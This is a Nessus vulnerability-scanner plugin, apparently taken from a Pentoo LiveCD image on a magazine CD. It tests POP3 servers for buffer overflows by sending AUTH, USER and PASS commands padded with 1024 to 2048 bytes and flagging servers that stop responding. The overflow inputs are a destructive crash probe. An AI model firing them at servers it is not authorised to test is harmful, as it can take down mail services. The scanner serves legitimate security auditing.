home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / pop3_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  100 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  5. #      Erik Anderson <eanders@carmichaelsecurity.com>
  6. #      This one script can and does test for numerous BugIDs and CVEs.  Added reference
  7. #           links to all posted vulnerabilities with boundary lengths less than 
  8. #           the currrent script value of 2048.  
  9. #           All of these posted in the Bugtraq Database appear vulnerable (not tested).
  10. #           Links are current up to 11/16/2002
  11. #
  12. # See the Nessus Scripts License for details
  13. #
  14. #
  15.  
  16. if(description)
  17. {
  18.  script_id(10184);
  19.  script_bugtraq_id(2781, 2811, 4055, 4295, 4614, 4789, 790, 830, 894, 942);
  20.  script_version ("$Revision: 1.29 $");
  21.  script_cve_id("CAN-2002-0799", "CAN-1999-0822");
  22.  
  23.  name["english"] = "Various pop3 overflows";
  24.  script_name(english:name["english"]);
  25.  
  26.  desc["english"] = "
  27. The remote POP3 server might be vulnerable to a buffer overflow 
  28. bug when it is issued at least one of these commands, with a too long 
  29. argument :
  30.  
  31.     auth
  32.     user
  33.     pass
  34.  
  35. If confirmed, this problem might allow an attacker to execute
  36. arbitrary code on the remote system, thus giving him an interactive
  37. session on this host.
  38.  
  39. Solution : If you do not use POP3, disable this service in /etc/inetd.conf
  40. and restart the inetd process. Otherwise, upgrade to a newer version.
  41.  
  42. See also : http://online.securityfocus.com/archive/1/27197
  43. Risk factor : High";
  44.  
  45.  script_description(english:desc["english"]);
  46.  
  47.  summary["english"] = "Attempts to overflow the in.pop3d buffers";
  48.  script_summary(english:summary["english"]);
  49.  
  50.  script_category(ACT_DESTRUCTIVE_ATTACK);
  51.  
  52.  
  53.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison");
  54.  family["english"] = "Gain root remotely";
  55.  script_family(english:family["english"]);
  56.  script_dependencie("find_service.nes", "qpopper.nasl");
  57.  script_exclude_keys("pop3/false_pop3");
  58.  script_require_ports("Services/pop3", 110);
  59.  exit(0);
  60. }
  61.  
  62. #
  63. # The script code starts here
  64. #
  65.  
  66. fake = get_kb_item("pop3/false_pop3");
  67. if(fake)exit(0);
  68. port = get_kb_item("Services/pop3");
  69. if(!port)port = 110;
  70. if(get_port_state(port))
  71. {
  72.  soc = open_sock_tcp(port);
  73.  if(soc)
  74.  {
  75.   d = recv_line(socket:soc, length:1024);
  76.   if (!d || d !~ '^OK') { close(soc); exit(0); }    # Not a POP3 server
  77.   if ( egrep(pattern:"Qpopper.*4", string:d) ) exit(0);
  78.  
  79.   c = string("AUTH ", crap(2048), "\r\n");
  80.   send(socket:soc, data:c);
  81.   d = recv_line(socket:soc, length:1024);
  82.   if(!d)security_hole(port);
  83.   else {
  84.       c = string("USER ", crap(1024), "\r\n");
  85.     send(socket:soc, data:c);
  86.     d = recv_line(socket:soc, length:1024);
  87.     if(!d)security_hole(port);
  88.     else
  89.     {
  90.      c = string("PASS ", crap(1024), "\r\n");
  91.      send(socket:soc, data:c);
  92.      d = recv_line(socket:soc, length:1024);
  93.      if(!d)security_hole(port);
  94.     }
  95.        }
  96.    close(soc);
  97.   }
  98.  }
  99.